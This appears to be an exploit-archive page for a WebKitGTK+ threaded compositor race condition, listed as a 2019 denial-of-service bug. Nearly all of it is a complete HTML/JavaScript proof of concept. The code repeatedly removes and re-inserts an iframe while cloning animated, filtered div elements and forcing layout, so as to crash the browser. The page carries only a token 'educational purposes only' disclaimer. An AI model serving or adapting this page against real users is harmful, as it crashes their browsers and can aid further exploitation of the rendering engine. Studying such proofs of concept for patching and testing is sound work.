Webkitgtk+ threadedcompositor race condition Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-04-03 | Type : dos | Platform : multiple
This exploit / vulnerability Webkitgtk+ threadedcompositor race condition is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...



<html>
<style>
@keyframes foo {
0% { opacity: 0; }
100% { opacity: 1; }
}

div {
animation-name: foo;
animation-duration: 1s;
animation-iteration-count: infinite;
filter: saturate(50%);
}
</style>
<body>
<script>
frame = document.createElement("iframe");

setInterval(_ => {
frame.remove();
document.body.appendChild(frame);

doc = frame.contentDocument;
doc.head.appendChild(document.querySelector("style").cloneNode(true));

elt = document.createElement("div");
elt.textContent = "foo";
let elements = [];

for (let i = 0, count = Math.random() * 50; i < count; ++i) {
elements[i] = doc.body.appendChild(elt.cloneNode(true));
elements[i].clientWidth;
}
}, Math.random() * 500);
</script>
</body>
</html>